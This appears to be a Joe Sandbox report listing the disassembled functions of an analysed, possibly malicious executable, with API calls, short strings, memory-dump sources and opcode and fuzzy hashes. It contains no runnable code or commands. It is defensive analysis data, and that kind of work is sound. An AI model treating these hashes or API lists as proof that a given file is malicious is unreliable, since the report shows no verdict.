Function 00407750 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0040C8A9
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040C8BE
UnhandledExceptionFilter.KERNEL32(00401D50), ref: 0040C8C9
GetCurrentProcess.KERNEL32(C0000409), ref: 0040C8E5
TerminateProcess.KERNEL32(00000000), ref: 0040C8EC

Strings

+`q, xrefs: 0040C89E

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: +`q
API String ID: 2579439406-3158646234
Opcode ID: acf5c39a05d8821c60c80379880b3f8d67174e4097f5a474327c7d4ed3681055
Instruction ID: b6578d5ef74c768942a09cb0d1250d1a40f31d58972dd500877e350be61e8469
Opcode Fuzzy Hash: acf5c39a05d8821c60c80379880b3f8d67174e4097f5a474327c7d4ed3681055
Instruction Fuzzy Hash: FD21AAB4C05300DBE720BF28E9856447BE0FF08316B40413AE569973B2E7B4A8848F1E

Function 00405090 Relevance: 7.6, APIs: 5, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

__NMSG_WRITE.LIBCMT ref: 004050B1

Part of subcall function 0040756C: __set_error_mode.LIBCMT ref: 0040759D
Part of subcall function 0040756C: __set_error_mode.LIBCMT ref: 004075AE
Part of subcall function 0040756C: _strcpy_s.LIBCMT ref: 004075E2
Part of subcall function 0040756C: __invoke_watson.LIBCMT ref: 004075F3
Part of subcall function 0040756C: GetModuleFileNameA.KERNEL32(00000000,0045D209,00000104,?,74DEDFA0,00000000,004045FB,00000000), ref: 0040760F
Part of subcall function 0040756C: _strcpy_s.LIBCMT ref: 00407624
Part of subcall function 0040756C: __invoke_watson.LIBCMT ref: 00407637
Part of subcall function 0040756C: _strlen.LIBCMT ref: 00407640
Part of subcall function 0040756C: _strlen.LIBCMT ref: 0040764D
Part of subcall function 0040756C: __invoke_watson.LIBCMT ref: 0040767A

_raise.LIBCMT ref: 004050C2
_memset.LIBCMT ref: 0040515A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040518C
UnhandledExceptionFilter.KERNEL32(?), ref: 00405199

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __invoke_watson$ExceptionFilterUnhandled__set_error_mode_strcpy_s_strlen$FileModuleName_memset_raise
String ID:
API String ID: 4212829890-0
Opcode ID: 0809d6e27ec0874d66909d3c869ea97b8218a0541bcab4f0214d094a66feaefe
Instruction ID: ab442418aec88e1ea890b2d2d7a476400d4f7229143fd3398023cb7edbbd056b
Opcode Fuzzy Hash: 0809d6e27ec0874d66909d3c869ea97b8218a0541bcab4f0214d094a66feaefe
Instruction Fuzzy Hash: 0521D770C1132D9ADB21DF659C897C9BBB4AF08714F1041EAA50CB72A1DB749BC1CF59

Function 00641260 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61f5f756535a4035ede993857695048258d02a8dbd85f3cae79bbcafaed150b5
Instruction ID: 326ab3f565ee83fa2292557319c41d3fdf3d2cc2b69d70cd15c70191a03ea170
Opcode Fuzzy Hash: 61f5f756535a4035ede993857695048258d02a8dbd85f3cae79bbcafaed150b5
Instruction Fuzzy Hash: 99022C71E012199BDF14CFA9C8806EEBBF2FF49314F258269D519EB341D731AA41CB94

Function 00635910 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 621COMMON

Download Yara Rule

APIs

Part of subcall function 00641142: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00641176

__Init_thread_footer.LIBCMT ref: 00635A7D
__Init_thread_footer.LIBCMT ref: 00635D8B

Strings

@BAO, xrefs: 00635D1C

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: @BAO
API String ID: 829385169-3327130826
Opcode ID: 5a2adfa9a8e76322d9d4f0e9a0b103782ff5a58ac098cfd4e8d6cdf4395ee2d3
Instruction ID: 5ab3c7c851d78fcc3503770914e915bc69e0b7fd74eb026f70b6beb93141e4f0
Opcode Fuzzy Hash: 5a2adfa9a8e76322d9d4f0e9a0b103782ff5a58ac098cfd4e8d6cdf4395ee2d3
Instruction Fuzzy Hash: 20320470D002549BDB28DF24DD497EEBBB2AF05300F5482EDE4096B292DB759E84CF99

Function 0063F82C Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 0063F99C

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 1477b8570e16a6675b5a24fac6283d2c6c9a0facf3c5b7642ca230b5911b600f
Instruction ID: 41b76c1d05794ad5f40ed2315f3ea44ae8ae93d52606ed905e389f579c4a47a6
Opcode Fuzzy Hash: 1477b8570e16a6675b5a24fac6283d2c6c9a0facf3c5b7642ca230b5911b600f
Instruction Fuzzy Hash: C0C1AC70D0060A9FCB29CF68C594BBABBB7EF05314F144639E496977A1C331AD46CB91

Function 0063F4EA Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 0063F66E

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: e800e0acd95fef6be5267f16a41e9219e19d51ae5af7834d1b3ead906566773c
Instruction ID: 37cdacebf21a1e1935b3c79d1a28beae2977fa3708ca29e291089d006e4e50c0
Opcode Fuzzy Hash: e800e0acd95fef6be5267f16a41e9219e19d51ae5af7834d1b3ead906566773c
Instruction Fuzzy Hash: B6B1B171D0060A8BCB288F68D9956FEBBB3AF21314F14463EE452D77A1C6319E02CBD5

Function 0040824A Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00008208), ref: 0040824F

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 962a8472a63a494c35fba3ba6a56462e9634be2c334d1371b6710703fa2ac6f9
Instruction ID: 8e0b76bb6c35fa1030474a654a12f6ca606bab1367b594b8588413907081c95e
Opcode Fuzzy Hash: 962a8472a63a494c35fba3ba6a56462e9634be2c334d1371b6710703fa2ac6f9
Instruction Fuzzy Hash: 8090027026258046C60017745F2964625D06B9970275105F96191E54F5DE7440405D19

Function 00567BE0 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

r{V, xrefs: 00567BE6

Memory Dump Source

Source File: 00000000.00000002.1816811085.0000000000560000.00000040.00001000.00020000.00000000.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID: r{V
API String ID: 0-3874959824
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 7547a280daf62bece5a9912f5ff5320ecb41f9330903bed8b78dce654b405011
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 0511AC72344104AFE754DE59DCC1EA677EAFB8C324B298065E904CB316E675EC41CB60

Function 0064604E Relevance: .3, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: 64e73347b27d96193e933e2be5be900b4b4704e63f64701868df5deba6109a95
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: D2B14D316106089FD719CF28C486B957BE2FF46364F258658F899CF3A2C375EA92CB41

Function 0063AC0C Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0087427e5fec96f3a69268fd39bcd2ddcdf30d7205d75486cccbac6015e6632e
Instruction ID: 3706870c7d0fd336ae813660b21942faf241decdbbc9b7789a2df66aabc7e769
Opcode Fuzzy Hash: 0087427e5fec96f3a69268fd39bcd2ddcdf30d7205d75486cccbac6015e6632e
Instruction Fuzzy Hash: CE5146B1E006098FDB24CF94D8857AABBF1FF48315F24802AD445EB760D3759942DF99

Function 0063BFF0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: fa79645b8b35bdde3b805aaa583de82a09556725003c3e10fe3f01b73303ac72
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 6D11E6B72001C1C3D61C8A3DD8B4AFBA797EAD5330F2D426AF0516B754D723A9459B80

Function 00630042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: a001d1b96123b8c1fec73e420cd133c101559f4059f10a477b46003edffb971c
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 2A1170723401009FE758DE65DCE1FA673EAEB88320B298155E908CB312D775EC06C7A0

Function 00404420 Relevance: 18.1, APIs: 12, Instructions: 82timefilepipeCOMMON

Download Yara Rule

APIs

OpenJobObjectA.KERNEL32(00000000,00000000,00000000), ref: 00404476
GetConsoleAliasExesW.KERNEL32(?,00000000), ref: 00404481
CallNamedPipeW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404491
SetFileShortNameW.KERNEL32(00000000,00000000), ref: 0040449B
SetEndOfFile.KERNEL32(00000000), ref: 004044A3
GetTimeFormatW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 004044B5
GetModuleHandleW.KERNEL32(00000000), ref: 004044B9
TlsSetValue.KERNEL32(00000000,00000000), ref: 004044C3
TlsFree.KERNEL32(00000000), ref: 004044CB
GetTimeFormatW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 004044DD
SetFileAttributesW.KERNEL32(00000000,00000000), ref: 004044E3
GetModuleFileNameW.KERNEL32(00000000,?,00000000), ref: 004044F4

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$FormatModuleNameTime$AliasAttributesCallConsoleExesFreeHandleNamedObjectOpenPipeShortValue
String ID:
API String ID: 3844511171-0
Opcode ID: 1935943dd116d173574aa202059ca19e8382479f5388a712a89336f12b395794
Instruction ID: 6eef1a2b3a88ac42684db504e9d2595e70c362ee28e71386d382e67a0f303c74
Opcode Fuzzy Hash: 1935943dd116d173574aa202059ca19e8382479f5388a712a89336f12b395794
Instruction Fuzzy Hash: 5C21D635640304ABE350ABE4ED4AF997774FB48B02F104036F349B61E0CAB05984CB6A

Function 0063C61B Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0063C73A
___TypeMatch.LIBVCRUNTIME ref: 0063C848
_UnwindNestedFrames.LIBCMT ref: 0063C99A
CallUnexpected.LIBVCRUNTIME ref: 0063C9B5

Strings

csm, xrefs: 0063C658
csm, xrefs: 0063C6C5
csm, xrefs: 0063C771

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction ID: 27fa5773238f0b875fee7c617692f6b4ca9aee66a48a3dab80d5ce54ee57146e
Opcode Fuzzy Hash: d9d1dd97a28ed08d243fefd6e212ea817b405283f267b0edc229452d693e4b60
Instruction Fuzzy Hash: 18B16571800209AFCF28DFA4C981AAEBBBABF18320F15455AF8157B242D731DA51CFD5

Function 0040B133 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B13F

Part of subcall function 00408CA0: __getptd_noexit.LIBCMT ref: 00408CA3
Part of subcall function 00408CA0: __amsg_exit.LIBCMT ref: 00408CB0

__amsg_exit.LIBCMT ref: 0040B15F
__lock.LIBCMT ref: 0040B16F
InterlockedDecrement.KERNEL32(?), ref: 0040B18C
InterlockedIncrement.KERNEL32(00722C40), ref: 0040B1B7

Strings

@,r, xrefs: 0040B1A5, 0040B1AD
@xE, xrefs: 0040B196

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID: @,r$@xE
API String ID: 4271482742-2491494317
Opcode ID: 14da587c5bdc05ef8bc0ce193ba3e66b09e327f1db3aba0da4d18ea377a9ac98
Instruction ID: 3c6ac1de8d366cc5c0bc841ef81be65421d856afbd51984a86e4acfea4938c9b
Opcode Fuzzy Hash: 14da587c5bdc05ef8bc0ce193ba3e66b09e327f1db3aba0da4d18ea377a9ac98
Instruction Fuzzy Hash: 8C01A1319047219BDB21AB29A85975A73A0AF04B95F05013BE8107B3E2CB3CAD40CBDD

Function 0064472C Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006447B2

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: f7094994ec903abcce49a6c1a655cc9da7e5ebab3a0cb20de3e6a5e810294d9f
Instruction ID: 1da27f92ed9117f5100c86c39a6ada96c517f4b38d76618bfbf882f7bb3b9621
Opcode Fuzzy Hash: f7094994ec903abcce49a6c1a655cc9da7e5ebab3a0cb20de3e6a5e810294d9f
Instruction Fuzzy Hash: A0B16572E00295AFDB11CF68CC83BEE7BA6EF55310F244159E914AB382DB74D942C7A4

Function 0040B89F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B8AB

Part of subcall function 00408CA0: __getptd_noexit.LIBCMT ref: 00408CA3
Part of subcall function 00408CA0: __amsg_exit.LIBCMT ref: 00408CB0

__getptd.LIBCMT ref: 0040B8C2
__amsg_exit.LIBCMT ref: 0040B8D0
__lock.LIBCMT ref: 0040B8E0

Strings

p}E, xrefs: 0040B8ED

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: p}E
API String ID: 3521780317-932643814
Opcode ID: 2672bc7ca664fdd40ab9168032a27059e81ca72cc596f4e33d204ce2b74bd78f
Instruction ID: 41ca909a7fa17ccae20582b561b6b04ac6bde91f9f8c6f347843e093de949195
Opcode Fuzzy Hash: 2672bc7ca664fdd40ab9168032a27059e81ca72cc596f4e33d204ce2b74bd78f
Instruction Fuzzy Hash: ADF06D32A047049BD620BB76980275A73A4AF00759F51867FE441BB2E2DB7C9940CBAD

Function 004060A8 Relevance: 7.6, APIs: 5, Instructions: 116fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000), ref: 004060BF
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 004060F0
GetLastError.KERNEL32 ref: 00406106
GetLastError.KERNEL32(?,004062A1,?,?,00000000,00455FA8,00000010,00404E93,00000000,?,74DEDFA0,74DEDFA0,?,00000000,?,00404EDC), ref: 00406166
__dosmaperr.LIBCMT ref: 004061A9

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast$ByteCharFileMultiWideWrite__dosmaperr
String ID:
API String ID: 3779282958-0
Opcode ID: 101452add1fa48b778b1bf75d151f40d4cd8f46acbf92be4778b0df45f29199f
Instruction ID: 27c8a5566bd40633a4f567d6a347978cfff9d3da852d1c488ca5c9da231eff9c
Opcode Fuzzy Hash: 101452add1fa48b778b1bf75d151f40d4cd8f46acbf92be4778b0df45f29199f
Instruction Fuzzy Hash: FC417F31A02124CFDB21DB24CD44ADAB7B5FF06364F0501EAE40ABAAD1C7785E90CF96

Function 00407E83 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00407EA1

Part of subcall function 0040656D: __mtinitlocknum.LIBCMT ref: 00406583
Part of subcall function 0040656D: __amsg_exit.LIBCMT ref: 0040658F
Part of subcall function 0040656D: EnterCriticalSection.KERNEL32(?,?,?,00405A32,00000004,00455F88,0000000C,0040AB49,74DEDFA0,?,00000000,00000000,00000000,?,00408C52,00000001), ref: 00406597

___sbh_find_block.LIBCMT ref: 00407EAC
___sbh_free_block.LIBCMT ref: 00407EBB
HeapFree.KERNEL32(00000000,74DEDFA0,00456048,0000000C,0040654E,00000000,00455FE8,0000000C,00406588,74DEDFA0,?,?,00405A32,00000004,00455F88,0000000C), ref: 00407EEB
GetLastError.KERNEL32(?,00405A32,00000004,00455F88,0000000C,0040AB49,74DEDFA0,?,00000000,00000000,00000000,?,00408C52,00000001,00000214), ref: 00407EFC

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 76e0c42db8dc044e1148e6d670b5a3e3ff1649617a1397201d3b724bef812557
Instruction ID: ac943536733178e3116658e9d7b5a01d31343d9a7912f5ecead2d15f24cb9749
Opcode Fuzzy Hash: 76e0c42db8dc044e1148e6d670b5a3e3ff1649617a1397201d3b724bef812557
Instruction Fuzzy Hash: 33017171D05201A6DB21AB72AC0675F36649F00769F10857EF511B61D2DB7CAD408A9E

Function 004065A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 004065C2
__calloc_crt.LIBCMT ref: 004065DB

Strings

0uE, xrefs: 00406607
sE, xrefs: 00406644

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __calloc_crt
String ID: sE$0uE
API String ID: 3494438863-280079329
Opcode ID: 1e260c7051c8069211b872dd05f1ae6eaff2c6aa00f59d7a50ba6c9191058e07
Instruction ID: 5c3b15b56c07c431eec0f331a1747e63a73b6ae96789bc0a0f398cc4b72dc8a7
Opcode Fuzzy Hash: 1e260c7051c8069211b872dd05f1ae6eaff2c6aa00f59d7a50ba6c9191058e07
Instruction Fuzzy Hash: 5C11CA7230421167E7284F1DBC5066632D5E744724B29413FF516EB3E5FB78DC61454E

Function 0040D438 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00407C8A), ref: 0040D43D
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040D44D

Strings

KERNEL32, xrefs: 0040D438
IsProcessorFeaturePresent, xrefs: 0040D447

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: d04afb31ecf6eacdaa9a74a1584815079827348a154b73a453fbb45ac7f3e72d
Instruction ID: 4dc727c415690c93b8a9960aa62b0e4da6991ad9cd5a9a87487a5a08f2fffa48
Opcode Fuzzy Hash: d04afb31ecf6eacdaa9a74a1584815079827348a154b73a453fbb45ac7f3e72d
